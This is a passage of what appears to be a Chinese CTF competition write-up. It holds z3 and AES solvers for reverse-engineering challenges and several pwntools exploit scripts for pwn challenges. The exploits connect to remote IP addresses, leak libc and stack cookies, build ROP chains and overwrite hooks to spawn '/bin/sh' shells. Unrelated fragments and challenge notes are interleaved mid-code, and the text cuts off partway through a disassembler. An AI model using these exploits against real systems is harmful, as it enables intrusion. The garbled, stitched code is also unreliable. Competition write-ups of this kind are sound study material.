[ '4', 1, 126, 0 ],
[ '=', 0, 1, 0 ],
[ 'O', 0, 0, 0 ],
[ '#', 0, 0, 0 ],
]
from z3 import *
s = Solver()
class Process():
def __init__(self):
self.buf = [0] * 10
self.result = 0
self.handlers = {
';': self.add,
'=': self.sub,
':': self.mul,
'?': None,
'5': None,
'n': self.xor,
imitation_game
第一个加密有点像aes,
'4': self.put,
'O': self.addret,
}
self.vars = []
def add(self, op):
self.buf[op[3]] = self.buf[op[1]] + self.buf[op[2]]
def sub(self, op):
self.buf[op[3]] = self.buf[op[1]] - self.buf[op[2]]
def xor(self, op):
self.buf[op[3]] = self.buf[op[1]] ^ self.buf[op[2]]
def mul(self, op):
self.buf[op[3]] = self.buf[op[1]] * self.buf[op[2]]
def put(self, op):
self.buf[op[1]] = op[2]
def addret(self, op):
self.result += self.buf[0]
def process(self):
i = 0
for op in operands:
if op[0] == '#':
break
if op[0] == '4' and op[2] == -1:
#s = Solver()
s.add(self.buf[0] == 0)
s.check()
print s.model()
op[2] = BitVec('x%d' % i, 8)
i += 1
self.vars.append(op[2])
self.handlers[op[0]](op)
p = Process()
p.process()
flag1 : 6c8f1d78770fe672122478c6f9a150e5
第二部分:
直接用https://github.com/drguildo/CHIP8Decompiler就可以还原大部分逻辑,通过逆向反汇编出来
的字节码并结合调试,可以发现程序先对输入逐位进行了变换,之后结合输入调用0x027A(调试发现是
乘法)进行运算,最后进行判断,所以直接按照逻辑解方程即可
iv = '202122232425262728292A2B2C2D2E2F'.decode('hex')
k ='3E2C251318BEC36BA1372453031E51EC'.decode('hex')
enc = [ 0x9D, 0x7B, 0xA2, 0x3C, 0xB1, 0x09, 0x9A, 0x48, 0x41, 0xD1,
0x66, 0x63, 0xD6, 0xAE, 0x3C, 0xAB, 0xE5, 0x55, 0xE7, 0x98,
0x09, 0xCD, 0x7F, 0xBA, 0x8D, 0x9E, 0x9A, 0xA4, 0xC4, 0xC6,
0xD3, 0x06, 0xEB, 0x6F, 0x08, 0x91, 0x3A, 0x22, 0xAA, 0x04,
0xF1, 0x18, 0xB0, 0xC9, 0x23, 0xAE, 0xB4, 0x32, 0x61, 0xCC,
0x87, 0x6D, 0xD2, 0x94, 0x35, 0x1D, 0x28, 0x27, 0x75, 0x47,
0x4F, 0xFA, 0x90, 0xCB]
e = ''.join(chr(i) for i in enc)
a = AES.new(k,AES.MODE_CBC,iv)
In [34]: a.decrypt(e)
Out[34]:
'6c8f1d78770fe672122478c6f9a150e5\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1
a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1
a'
from z3 import *
flags = []
for i in xrange(10):
exec('v{0} = BitVec("a{0}",8)'.format(i))
exec('flags.append(v{0})'.format(i))
so = Solver()
for i in flags:
so.add(i <= 0xf)
v0 = v0 + 2
v1 = v1 + 1
v2 = (v2 + 1) ^ 1
v3 = v3 + 3
v4 = v2 + 2
v5 = (v5^2) + 1
v6 = v6 + v6
v7 = v7 + 1
v8 = (v8 ^ 1) + 1
v9 = v9 + 2
so.add(v0 + 2 * v1 + v2 == 33)
so.add(2 * v0 + v1 + v2 == 42)
so.add(v0 + 2 * v1 + 2 * v2 == 48)
so.add(v3 + 2 * v4 + v5 == 55)
so.add(2 * v3 + v4 + v5 == 55)
so.add(v3 + 2 * v4 + 2 * v5 == 59)
so.add(v6 + 2 * v7 + v8 == 31)
so.add(2 * v6 + v7 + v8 == 22)
xx_warmup_obf
init里面初始化了一个sigtrap的handler,handler里面根据int3之前设置的current_state从state_table
映射到一个next_magic_table,magic来决定下一次的条件跳转的taken状态,最后的校验是一个方程
组,patch一下从402D05开始之后的混淆,然后可以使用IDA把运算逻辑反编译出来,整理一下用z3求
解即可
so.add(v6 + 2 * v7 + 2 * v8 == 32)
so.add(v9 == 5)
print(so.check())
m = so.model()
print(m)
res = ''
for i in flags:
res += hex(m[i].as_long())[2:]
print(res)
from z3 import *
flag = [BitVec(f'f{i}',32) for i in range(28)]
s = Solver()
for each in flag:
s.add(each>32)
s.add(each<128)
s.add(23925 * flag[0] == 2440350)
s.add(281400 * flag[1] - 7037 * flag[0] == 29673426)
s.add(174826 * flag[0] - 255300 * flag[2] - 283573 * flag[1] == -37557732)
s.add(259881 * flag[2]+ -98445 * flag[1]- 276718 * flag[0]+ 4524 * flag[3] == -1
3182867)
s.add(285576 * flag[2]+ -274569 * flag[3]+ 94721 * flag[0]- 228216 * flag[4]- 60
353 * flag[1] == -25506885)
s.add(260927 * flag[3]+ -5496 * flag[1]+ -294195 * flag[4]+ 264844 * flag[2]+ 12
5853 * flag[5]- 153661 * flag[0] == 13075233)
s.add(17630 * flag[0]+ -258397 * flag[3]+ -244952 * flag[1]+ -244086 * flag[2]+
-130259 * flag[5]- 190371 * flag[6]- 109961 * flag[4] == -111027477)
s.add(117817 * flag[5]+ 268397 * flag[7]+ -198175 * flag[1]+ 18513 * flag[2]+ 21
8992 * flag[6]+ -6727 * flag[3]+ 228408 * flag[0]+ 224658 * flag[4] == 78775012)
s.add(-288418 * flag[3]+ -218493 * flag[7]+ -236774 * flag[0]+ 77982 * flag[2]+
190784 * flag[4]+ -84462 * flag[1]+ 92684 * flag[8]+ 52068 * flag[5]- 243023 * f
lag[6] == -52520267)
s.add(-196269 * flag[8]+ -64473 * flag[7]+ -142792 * flag[5]+ 171321 * flag[4]+
-39259 * flag[9]+ -269632 * flag[2]+ 229049 * flag[6]+ 96631 * flag[3]- 280754 *
flag[1]- 168397 * flag[0] == -70797046)
s.add(-235026 * flag[4]+ 162669 * flag[8]+ -256202 * flag[1]+ -32946 * flag[9]+
-25900 * flag[2]+ 195039 * flag[10]+ 182157 * flag[3]+ 292706 * flag[0]+ -93524
* flag[5]+ 121516 * flag[6]+ 165207 * flag[7] == 28263339)
s.add(-131770 * flag[6]+ -92964 * flag[9]+ -111160 * flag[8]+ -258188 * flag[7]+
133728 * flag[1]+ -272650 * flag[5]+ -4940 * flag[10]+ 272791 * flag[3]+ 80519
* flag[2]+ -165434 * flag[11]+ 50166 * flag[0]+ 148713 * flag[4] == -22025185)
s.add(-262820 * flag[4]+ 9710 * flag[10]+ 71182 * flag[12]+ -184125 * flag[1]+ -
100280 * flag[6]+ 62018 * flag[11]+ 141532 * flag[9]+ -138253 * flag[8]+ 20489 *
flag[0]+ -214348 * flag[2]+ 162962 * flag[3]- 93199 * flag[7]+ 147171 * flag[5]
== -31396844)
s.add(-55254 * flag[8]+ 220404 * flag[12]+ -86956 * flag[10]+ -200702 * flag[5]+
-51437 * flag[1]+ 25739 * flag[6]+ 122945 * flag[3]+ 116256 * flag[7]+ 22859 *
flag[4]+ -61880 * flag[9]+ -119275 * flag[2]+ -224754 * flag[13]- 75412 * flag[0
]+ 59999 * flag[11] == -37063008)
s.add(111310 * flag[0]+ 198502 * flag[3]+ -189890 * flag[13]+ 278745 * flag[5]+
157462 * flag[9]+ 135809 * flag[4]+ -2621 * flag[2]+ 67553 * flag[6]+ 144834 * f
lag[1]+ -88326 * flag[11]+ -228149 * flag[10]+ 233663 * flag[14]+ -249960 * flag
[12]+ 300012 * flag[8]+ 91783 * flag[7] == 93457153)
s.add(15897 * flag[0]+ -11943 * flag[13]+ 194067 * flag[3]+ 125666 * flag[2]+ 10
4421 * flag[12]+ -181764 * flag[5]+ -233813 * flag[8]+ -235783 * flag[4]+ 230636
* flag[11]+ 148005 * flag[6]+ -48167 * flag[14]+ -163572 * flag[9]+ 54553 * fla
g[10]+ -129997 * flag[1]+ 114175 * flag[7]- 251681 * flag[15] == -36640750)
s.add(-90549 * flag[3]+ -228520 * flag[14]+ 34835 * flag[10]+ -203538 * flag[15]
+ 272318 * flag[13]+ -68478 * flag[8]+ 22454 * flag[9]+ 74128 * flag[12]+ 70051
* flag[6]+ -289940 * flag[7]+ -52501 * flag[5]+ -1254 * flag[4]+ 154844 * flag[1
1]+ 254969 * flag[2]+ -39495 * flag[1]+ 277429 * flag[16]- 132752 * flag[0] == -
6628237)
s.add(128092 * flag[11]+ -5873 * flag[17]+ -144172 * flag[3]+ -148216 * flag[13]
+ 189050 * flag[2]+ 66107 * flag[5]+ 237987 * flag[0]+ -53271 * flag[9]+ -86968
* flag[12]+ -94616 * flag[10]+ -247882 * flag[8]+ -5107 * flag[1]+ 55085 * flag[
15]+ 10792 * flag[14]+ -112241 * flag[4]+ -36680 * flag[16]- 210718 * flag[7]- 2
49539 * flag[6] == -53084017)
s.add(-186088 * flag[2]+ 19517 * flag[13]+ -65515 * flag[5]+ 195447 * flag[1]+ 1
45470 * flag[14]+ 58825 * flag[16]+ 272227 * flag[15]+ -155443 * flag[8]+ 100397
* flag[3]+ -238861 * flag[18]+ 84628 * flag[7]+ 1337 * flag[17]+ 156976 * flag[
12]+ -74209 * flag[4]+ 175077 * flag[11]+ 134548 * flag[0]+ -280672 * flag[6]+ 1
2264 * flag[10]+ 56937 * flag[9]==60764977)
s.add(-283834 * flag[9]+ 159144 * flag[13]+ -199631 * flag[0]+ 54404 * flag[16]+
-190345 * flag[8]+ 176103 * flag[3]+ 137206 * flag[17]+ -170051 * flag[6]+ 2817
18 * flag[11]+ 137214 * flag[14]+ -104395 * flag[19]+ -122090 * flag[4]+ 162065
* flag[15]+ -36580 * flag[18]+ 245858 * flag[12]+ -18520 * flag[10]+ -138274 * f
lag[1]+ 139185 * flag[2]+ -58873 * flag[7] - 197535 * flag[5] == 4912728)
s.add(74470 * flag[8]+ -72984 * flag[11]+ -162393 * flag[20]+ 150036 * flag[15]+
127913 * flag[19]+ 181147 * flag[16]+ 27751 * flag[6]+ -239133 * flag[1]+ -2833
7 * flag[17]+ 108149 * flag[0]+ 148338 * flag[2]+ 38137 * flag[18]+ -199427 * fl
ag[14]+ -97284 * flag[4]+ -39775 * flag[3]+ -109205 * flag[10]+ 270604 * flag[5]
- 193384 * flag[12] + 293345 * flag[9]+ 63329 * flag[13]+ 168963 * flag[7] == 45
577809)
s.add(-188979 * flag[8]+ -220539 * flag[16]+ 246135 * flag[2]+ -174651 * flag[14
]+ 179514 * flag[4]+ 153071 * flag[15]+ -207716 * flag[21]+ 64641 * flag[7]+ 293
781 * flag[12]+ 263208 * flag[10]+ 44675 * flag[1]+ 131692 * flag[3]+ 109605 * f
lag[11]+ 293201 * flag[5]+ -98937 * flag[9]+ 60492 * flag[20]+ -273571 * flag[13
]- 38942 * flag[0]+ 45637 * flag[6]+ 111858 * flag[17]+ 244009 * flag[19]- 28594
6 * flag[18]==77539017)
s.add(-86224 * flag[20]+ 92896 * flag[22]+ 295735 * flag[15]+ -58530 * flag[0]+
-197632 * flag[13]+ -21957 * flag[17]+ -43684 * flag[6]+ -141434 * flag[10]+ -19
4890 * flag[1]+ -148390 * flag[21]+ 105293 * flag[14]+ 76213 * flag[3]+ 9791 * f
lag[12]+ -258754 * flag[8]+ 59119 * flag[16]+ 255675 * flag[2]+ -130852 * flag[7
]- 71444 * flag[5]+-160726 * flag[9]+ 234971 * flag[18]+ 32897 * flag[4]+ -20618
4 * flag[11]+ 127285 * flag[19]==-38197685)
Pwn
direct
s.add(-236806 * flag[17]+ 268813 * flag[3]+ 191822 * flag[23]+ -40848 * flag[6]+
103466 * flag[7]+ -211930 * flag[5]+ -180522 * flag[19]+ -188959 * flag[15]+ -2
38839 * flag[21]+ 281705 * flag[11]+ 175825 * flag[16]+ -44618 * flag[12]+ 19637
0 * flag[0]+ 89330 * flag[22]+ -133696 * flag[8]+ -60213 * flag[2]+ 191404 * fla
g[18]- 291063 * flag[9]+205675 * flag[20]+ 197685 * flag[1]+ 144870 * flag[4]+ 1
20347 * flag[10]+ 202621 * flag[14]+ 13902 * flag[13]==67763764)
s.add(115716 * flag[22]+ 7838 * flag[16]+ -173902 * flag[14]+ 115189 * flag[9]+
234832 * flag[7]+ -54321 * flag[5]+ -268221 * flag[20]+ -210563 * flag[18]+ -161
113 * flag[13]+ -199130 * flag[23]+ -94067 * flag[24]+ 9601 * flag[11]+ -8509 *
flag[12]+ 14439 * flag[2]+ -243227 * flag[19]+ 37665 * flag[17]+ 91076 * flag[6]
- 85246 * flag[0]+69341 * flag[15]+ -19740 * flag[21]+ 62004 * flag[10]+ 29334 *
flag[8]+ -78459 * flag[1]+ -261617 * flag[3]+ 39558 * flag[4]==-98330271)
s.add(-78437 * flag[20]+ -212633 * flag[16]+ 180400 * flag[5]+ -81477 * flag[12]
+ 232645 * flag[0]+ -65268 * flag[4]+ 263000 * flag[6]+ 247654 * flag[25]+ -2420
59 * flag[17]+ -35931 * flag[9]+ -271816 * flag[21]+ 10191 * flag[13]+ 41768 * f
lag[23]+ 92844 * flag[7]+ -73366 * flag[14]+ -124307 * flag[10]+ 197710 * flag[1
8]+ 226192 * flag[15]+38468 * flag[19]+ -75568 * flag[2]+ 169299 * flag[22]+ -25
2915 * flag[3]+ 32044 * flag[24]+ -260264 * flag[8]+ -111200 * flag[1]+ 3788 * f
lag[11]==-13464859)
s.add(-6866 * flag[25]+ 215574 * flag[22]+ 231326 * flag[6]+ 77915 * flag[2]+ 18
6585 * flag[3]+ 219151 * flag[4]+ 271210 * flag[13]+ -78913 * flag[20]+ 83918 *
flag[8]+ -153409 * flag[18]+ -84952 * flag[7]+ -121854 * flag[0]+ -253617 * flag
[26]+ -213665 * flag[19]+ -293146 * flag[17]+ -166693 * flag[16]+ -206964 * flag
[1]- 155664 * flag[10]+-23897 * flag[9]+ -188087 * flag[24]+ -254282 * flag[15]+
-102361 * flag[23]+ -15606 * flag[14]+ -74795 * flag[21]+ 116581 * flag[12]+ 77
693 * flag[5]+ 180598 * flag[11]==-55504393)
s.add(-120743 * flag[10]+ 77375 * flag[5]+ -164339 * flag[3]+ 167370 * flag[25]+
-225830 * flag[4]+ -136952 * flag[2]+ -14347 * flag[8]+ 6966 * flag[26]+ 88628
* flag[18]+ 138998 * flag[22]+ 147747 * flag[19]+ -106792 * flag[6]+ -113009 * f
lag[20]+ 98136 * flag[15]+ 231264 * flag[24]+ -109447 * flag[17]+ 258890 * flag[
1]+ 167885 * flag[16]+264405 * flag[11]+ 135302 * flag[12]+ 278196 * flag[9]+ -1
32906 * flag[23]+ 138308 * flag[7]+ 40423 * flag[21]+ 157781 * flag[0]+ -38949 *
flag[27]+ -143324 * flag[14]+ 246315 * flag[13]==133068723)
assert s.check() == sat
m = s.model()
print(bytearray([m[each].as_long() for each in flag]).decode())
# flag{g0_Fuck_xx_5egm3nt_0bf}
from pwn import *
context.log_level="debug"
def add(index,size):
p.sendlineafter(": ","1")
p.sendlineafter(": ",str(index))
p.sendlineafter(": ",str(size))
def edit(index,offset,size,note):
p.sendlineafter(": ","2")
p.sendlineafter(": ",str(index))
p.sendlineafter(": ",str(offset))
p.sendlineafter(": ",str(size))
p.sendafter(": ",note)
easyoverflow
def delete(index):
p.sendlineafter(": ","3")
p.sendlineafter(": ",str(index))
def open_():
p.sendlineafter(": ","4")
def close_():
p.sendlineafter(": ","5")
#p=process("./direct")
p=remote("106.14.214.3",1912)
add(0,0x18)
add(1,0x18)
open_()
add(2,0x18)
edit(0,-8,8,p64(0x8081))
close_()
delete(0)
add(10,0x18)
add(3,0x78)
add(4,0x88)
edit(4,-8,8,"b"*8)
close_()
p.recvuntil("b"*5)
addr=u64(p.recv(6)+"\x00\x00")+0x7ffff79e4000-0x7ffff7dcfca0
print hex(addr)
#delete()
#addr=0x7ffff79e4000
delete(1)
edit(3,0,8,p64(addr+0x3ed8e8))
#gdb.attach(p)
add(5,0x78)
edit(5,0,8,"/bin/sh\x00")
add(6,0x78)
edit(6,0,8,p64(addr+0x04f4e0))
delete(5)
p.interactive()
from pwn import *
context.log_level = 'debug'
r = lambda x: p.recvuntil(x, drop=True)
s = lambda x, y: p.sendafter(x, y)
sl = lambda x, y: p.sendlineafter(x, y)
p = remote('39.99.46.209', 13389)
r('input:\r\n')
p.send('a'*0x100)
r('buffer:\r\n')
r('a'*0x100)
cookie = u64(r('\r\n').ljust(0x8,'\x00'))
log.info('cookie: '+hex(cookie))
kernel32=0x7ffbbc640000
ntdll = 0x7ffbbe6b0000
exec_addr = 0x7ff6fcba0000
#0x158 kernel32
#0x188 ntdll
#0x118 exec
leak
远程Python没开PIE,结合leak以及二分法确定tmplib的位置,然后计算出其与libc的偏移
通过ELF_SYM中的函数名与函数地址,计算出yes_ur_flag的位置
dump出yes_ur_flag函数即可
r('input:\r\n')
p.send('a'*0x118)
r('buffer:\r\n')
r('a'*0x118)
exec_addr = u64(r('\r\n').ljust(0x8,'\x00'))-0x12f4
log.info('exec: '+hex(exec_addr))
pop_rcx = ntdll + 0x9217b
ucrt_addr= 0x7ffbbb4d0760-0x80760
rop = 'a'*0x100
rop += p64(cookie)
rop += 2*p64(0)
rop += p64(pop_rcx+1)+p64(pop_rcx)+p64(ucrt_addr+0xCC9F0)+p64(ucrt_addr+0xABBA0)
#rop += p64(pop_rcx+1) + p64(pop_rcx) + p64(exec_addr+0x2180)
+p64(exec_addr+0x107b)
r('input:\r\n')
p.send(rop)
p.recvuntil("\r\n")
p.recvuntil("\r\n")
p.interactive()
from pwn import *
import random
import string
context.log_level = 'debug'
p = remote('39.101.177.128', 9999)
# p = process("python leak.py",shell=True)
libc = ELF("./libc-2.23.so")
def passpow(io, difficulty):
io.readuntil("[+] sha256(")
prefix = io.readuntil("+")[:-1]
while True:
answer = ''.join(random.choice(string.ascii_letters + string.digits) for i in
range(8))
hashresult = hashlib.sha256(prefix+answer).digest()
bits = ''.join(bin(ord(j))[2:].zfill(8) for j in hashresult)
if bits.startswith('0'*difficulty):
io.sendline(answer)
# io.readuntil("=")
return
def show(addr):
p.sendlineafter("addr?:",hex(addr))
return p.recv(16)
def calc(typex,num,addr):
tmp_addr = 0
print int(num)
if typex == 'not_ur_flag':
tmp_addr = addr-int(num)*19
elif typex == 'yes_ur_flag':
tmp_addr = addr
else:
exit(0)
return tmp_addr
# p.sendline('')
# p.sendline('')
passpow(p, 16)
# p.interactive()
# p.readuntil("=")
p.sendline('icqaf0ecae2322e454ba574617e58ef7')
uname = 0x8DD1C0
tmp = show(uname)
tmp = u64(tmp[:8])
offset1 = tmp-libc.sym['uname']
success(hex(offset1))
tmp = 0x9532a0
tmp = show(tmp)
tmp = u64(tmp[:8])
success(hex(tmp))
tmp = tmp-0x11e0
success(hex(tmp))
tmp = show(tmp)
print tmp
tmp = u64(tmp[:8])
success(hex(tmp))
p.interactive()
from pwn import *
import random
import requests
p = remote('39.101.177.128', 9999)
#p = process("python pwn1.py",shell=True)
def passpow(io, difficulty):
io.readuntil("[+] sha256(")
prefix = io.readuntil("+")[:-1]
while True:
answer = ''.join(random.choice(string.ascii_letters + string.digits) for
i in range(8))
hashresult = hashlib.sha256(prefix+answer).digest()
bits = ''.join(bin(ord(j))[2:].zfill(8) for j in hashresult)
if bits.startswith('0'*difficulty):
io.sendline(answer)
# io.readuntil("=")
return
def show(addr):
p.sendlineafter("?:",hex(addr))
return p.recvuntil("addr")
def calc(typex,num,addr):
tmp_addr = 0
print int(num)
if typex == 'not_ur_flag':
tmp_addr = addr-int(num)*19
elif typex == 'yes_ur_flag':
tmp_addr = addr
else:
exit(0)
return tmp_addr
# p.sendline('')
# p.sendline('')
passpow(p, 16)
#p.interactive()
p.sendlineafter("[+] teamtoken:",'icqaf0ecae2322e454ba574617e58ef7')
tmp = show(0x8DD270)
tmp = u64(tmp[:8])
libc_addr = tmp + 0x7f673598b000 - 0x7f6735d654f0
print hex(libc_addr)
context.log_level = 'debug'
#204000 - > libdl-2.23.so
#92a000 -> libm-2.23.so
tmp=libc_addr-0xc02000-0xa000-0x208000-0x102000-0x230000-0x286000
tmp=tmp-0x195000#crypt
tmp=tmp-0x205000-0x1f000
tmp=tmp-0xf0f000-0x550000
tmp=tmp+0xf0f000+0x550000-0x200000-0xf000-0x4f000#libssl
tmp=tmp-0x40d000*2-0xf0000-0xf000-0xf000*13-0x1000*22-0xf000
print hex(tmp)
print hex(tmp-libc_addr)
offset = tmp
success(hex(offset))
tmp = offset+0x4E970
tmp = show(tmp)
name = u32(tmp[:4])+0x4e988+offset
func = u64(tmp[8:16])+offset
success("name:"+hex(name-offset))
success("func:"+hex(func-offset))
tmp = show(name)
tmp = tmp[:tmp.index("\x00")]
typex = tmp[:11]
num = tmp[11:]
print typex
print num
addr = calc(typex,num,func)-35
f=open("./test","ab+")
tmp = show(addr-16*4)
f.write(tmp)
tmp = show(addr-16*5)
f.write(tmp)
f.close()
p.interactive()
#ctf{pleAse_fInd_aNd_Leak_Me_*_*}
oldschool
nc 106.14.214.3 2333
http://112.126.59.156:8080/s/4j2RbNpjaf3AbL4/download
QWBlogin
nc 47.94.20.173 32142
from pwn import *
context.log_level="debug"
p=process("./a.out")
def add(index,size):
p.sendlineafter(": ","1")
p.sendlineafter(": ",str(index))
p.sendlineafter(": ",str(size))
def edit(index,note):
p.sendlineafter(": ","2")
p.sendlineafter(": ",str(index))
p.sendlineafter(": ",note)
def show(index):
p.sendlineafter(": ","3")
p.sendlineafter(": ",str(index))
def delete(index):
p.sendlineafter(": ","4")
p.sendlineafter(": ",str(index))
def addmap(index):
p.sendlineafter(": ","6")
p.sendlineafter(": ",str(index))
def deletemap():
p.sendlineafter(": ","8")
def editmap(index,value):
p.sendlineafter(": ","7")
p.sendlineafter(": ",str(index))
p.sendlineafter(": ",str(value))
p=remote("106.14.214.3",2333)
for i in range(8):
add(i,0x100)
for i in range(8):
delete(7-i)
for i in range(7):
add(i,0x100)
add(10,0x100)
edit(10,"aaaa\n")
show(10)
p.recvuntil("aaaa")
addr=u32(p.recv(4))+0xf7dd9000-0xf7fb170a
print hex(addr)
#gdb.attach(p)
addmap(0)
editmap((addr+0xf7fb28d0-0xf7dd9000-0xe0000000)/4,addr+0x03d250)
edit(0,"/bin/sh\x00\n")
delete(0)
p.interactive()
http://112.126.59.156:8080/s/6Teqzb4ECQpPZ54/download
hint附件:http://112.126.59.156:8080/s/Wsg2b2xMQjSr8n4/download
from pwn import *
f = open('./binbin','rb')
a = f.read()
f.close()
o = open('o.txt','w+')
pc = 0
regs=
['r0','r1','r2','r3','r4','r5','r6','r7','r8','r9','r10','r11','r12','r13','r14'
,'r15','sp','bp']
while pc <len(a):
print "inst:"+(a[pc]).encode('hex')
if a[pc] == '\x00':
o.write('GG\n')
pc+=1
continue
elif a[pc] == '\x01':
tmp ='mov '
pc+=1
opl = ord(a[pc])&0xf0
if opl == 0x10:
tmp+= 'byte '
opt =ord(a[pc])&0xf
if opt==0x00:#RR
pc+=1
tmp+=regs[ord(a[pc])]
tmp +=', '
pc+=1
tmp+=regs[ord(a[pc])]
tmp+='\n'
o.write(tmp)
pc+=1
continue
if opt==0x01:#RL
pc+=1
tmp+=regs[ord(a[pc])]
tmp +=', '
pc+=1
tmp+="data["+hex(u64(a[pc:pc+8]))+"]"
tmp+='\n'
o.write(tmp)
pc+=8
continue
if opt==0x02:#LR
pc+=1
tmp+="data["+hex(u64(a[pc:pc+8]))+"]"
tmp +=', '
pc+=8
tmp+=regs[ord(a[pc])]
tmp+='\n'
o.write(tmp)
pc+=1
continue
if opt==0x05:#RI
pc+=1
tmp+=regs[ord(a[pc])]
tmp +=', '
pc+=1
tmp+=hex(u8(a[pc:pc+1]))
tmp+='\n'
o.write(tmp)
pc+=1
continue
elif opl ==0x20:
tmp+= 'word '
opt =ord(a[pc])&0xf
if opt==0x00:#RR
pc+=1
tmp+=regs[ord(a[pc])]
tmp +=', '
pc+=1
tmp+=regs[ord(a[pc])]
tmp+='\n'
o.write(tmp)
pc+=1
continue
if opt==0x01:#RL
pc+=1
tmp+=regs[ord(a[pc])]
tmp +=', '
pc+=1
tmp+="data["+hex(u64(a[pc:pc+8]))+"]"
tmp+='\n'
o.write(tmp)
pc+=8
continue
if opt==0x02:#LR
pc+=1
tmp+="data["+hex(u64(a[pc:pc+8]))+"]"
tmp +=', '
pc+=8
tmp+=regs[ord(a[pc])]
tmp+='\n'
o.write(tmp)
pc+=1
continue
if opt==0x05:#RI
pc+=1
tmp+=regs[ord(a[pc])]
tmp +=', '
pc+=1
tmp+=hex(u16(a[pc:pc+2]))
tmp+='\n'
o.write(tmp)
pc+=2
continue
elif opl ==0x30:
tmp+= 'dword '
opt =ord(a[pc])&0xf
if opt==0x00:#RR
pc+=1
tmp+=regs[ord(a[pc])]
tmp +=', '
pc+=1
tmp+=regs[ord(a[pc])]
tmp+='\n'
o.write(tmp)
pc+=1
continue
if opt==0x01:#RL
pc+=1
tmp+=regs[ord(a[pc])]
tmp +=', '
pc+=1
tmp+="data["+hex(u64(a[pc:pc+8]))+"]"
tmp+='\n'
o.write(tmp)
pc+=8
continue
if opt==0x02:#LR
pc+=1
tmp+="data["+hex(u64(a[pc:pc+8]))+"]"
tmp +=', '
pc+=8
tmp+=regs[ord(a[pc])]
tmp+='\n'
o.write(tmp)
pc+=1
continue
if opt==0x05:#RI
pc+=1
tmp+=regs[ord(a[pc])]
tmp +=', '
pc+=1
tmp+=hex(u32(a[pc:pc+4]))
tmp+='\n'
o.write(tmp)
pc+=4
continue
elif opl ==0x40:
tmp+= 'qword '
opt =ord(a[pc])&0xf
if opt==0x00:#RR
pc+=1
tmp+=regs[ord(a[pc])]
tmp +=', '
pc+=1
tmp+=regs[ord(a[pc])]
tmp+='\n'
o.write(tmp)
pc+=1
continue
if opt==0x01:#RL
pc+=1
tmp+=regs[ord(a[pc])]
tmp +=', '
pc+=1
tmp+="data["+hex(u64(a[pc:pc+8]))+"]"
tmp+='\n'
o.write(tmp)
pc+=8
continue
if opt==0x02:#LR
pc+=1
tmp+="data["+hex(u64(a[pc:pc+8]))+"]"
tmp +=', '
pc+=8
tmp+=regs[ord(a[pc])]
tmp+='\n'
o.write(tmp)
pc+=1
continue
if opt==0x05:#RI
pc+=1
tmp+=regs[ord(a[pc])]
tmp +=', '
pc+=1
tmp+=hex(u64(a[pc:pc+8]))
tmp+='\n'
o.write(tmp)
pc+=8
continue
elif a[pc] == '\x07' or a[pc]=='\x03' or a[pc]=='\x02':#xor
if a[pc] == '\x02':
tmp = 'add '
if a[pc] == '\x03':
tmp = 'sub '
if a[pc] == '\x07':
tmp = 'xor '
pc+=1
opl = ord(a[pc])&0xf0
if opl == 0x10:
tmp+= 'byte '
opt =ord(a[pc])&0xf
if opt==0x00:#RR
pc+=1
tmp+=regs[ord(a[pc])]
tmp +=', '
pc+=1
tmp+=regs[ord(a[pc])]
tmp+='\n'
o.write(tmp)
pc+=1
continue
if opt==0x01:#RL
pc+=1
tmp+=regs[ord(a[pc])]
tmp +=', '
pc+=1
tmp+="data["+hex(u64(a[pc:pc+8]))+"]"
tmp+='\n'
o.write(tmp)
pc+=8
continue
if opt==0x02:#LR
pc+=1
tmp+="data["+hex(u64(a[pc:pc+8]))+"]"
tmp +=', '
pc+=8
tmp+=regs[ord(a[pc])]
tmp+='\n'
o.write(tmp)
pc+=1
continue
if opt==0x05:#RI
pc+=1
tmp+=regs[ord(a[pc])]
tmp +=', '
pc+=1
tmp+=hex(u8(a[pc:pc+1]))
tmp+='\n'
o.write(tmp)
pc+=1
continue
elif opl ==0x20:
tmp+= 'word '
opt =ord(a[pc])&0xf
if opt==0x00:#RR
pc+=1
tmp+=regs[ord(a[pc])]
tmp +=', '
pc+=1
tmp+=regs[ord(a[pc])]
tmp+='\n'
o.write(tmp)
pc+=1
continue
if opt==0x01:#RL
pc+=1
tmp+=regs[ord(a[pc])]
tmp +=', '
pc+=1
tmp+="data["+hex(u64(a[pc:pc+8]))+"]"
tmp+='\n'
o.write(tmp)
pc+=8
continue
if opt==0x02:#LR
pc+=1
tmp+="data["+hex(u64(a[pc:pc+8]))+"]"
tmp +=', '
pc+=8
tmp+=regs[ord(a[pc])]
tmp+='\n'
o.write(tmp)
pc+=1
continue
if opt==0x05:#RI
pc+=1
tmp+=regs[ord(a[pc])]
tmp +=', '
pc+=1
tmp+=hex(u16(a[pc:pc+2]))
tmp+='\n'
o.write(tmp)
pc+=2
continue
elif opl ==0x30:
tmp+= 'dword '
opt =ord(a[pc])&0xf
if opt==0x00:#RR
pc+=1
tmp+=regs[ord(a[pc])]
tmp +=', '
pc+=1
tmp+=regs[ord(a[pc])]
tmp+='\n'
o.write(tmp)
pc+=1
continue
if opt==0x01:#RL
pc+=1
tmp+=regs[ord(a[pc])]
tmp +=', '
pc+=1
tmp+="data["+hex(u64(a[pc:pc+8]))+"]"
tmp+='\n'
o.write(tmp)
pc+=8
continue
if opt==0x02:#LR
pc+=1
tmp+="data["+hex(u64(a[pc:pc+8]))+"]"
tmp +=', '
pc+=8
tmp+=regs[ord(a[pc])]
tmp+='\n'
o.write(tmp)
pc+=1
continue
if opt==0x05:#RI
pc+=1
tmp+=regs[ord(a[pc])]
tmp +=', '
pc+=1
tmp+=hex(u32(a[pc:pc+4]))
tmp+='\n'
o.write(tmp)
pc+=4
continue
elif opl ==0x40:
tmp+= 'qword '
opt =ord(a[pc])&0xf
if opt==0x00:#RR
pc+=1
tmp+=regs[ord(a[pc])]
tmp +=', '
pc+=1
tmp+=regs[ord(a[pc])]
tmp+='\n'
o.write(tmp)
pc+=1
continue
if opt==0x01:#RL
pc+=1
tmp+=regs[ord(a[pc])]
tmp +=', '
pc+=1
tmp+="data["+hex(u64(a[pc:pc+8]))+"]"
tmp+='\n'
o.write(tmp)
pc+=8
continue
if opt==0x02:#LR
pc+=1
tmp+="data["+hex(u64(a[pc:pc+8]))+"]"
tmp +=', '
pc+=8
tmp+=regs[ord(a[pc])]
tmp+='\n'
o.write(tmp)
pc+=1
continue
if opt==0x05:#RI
pc+=1
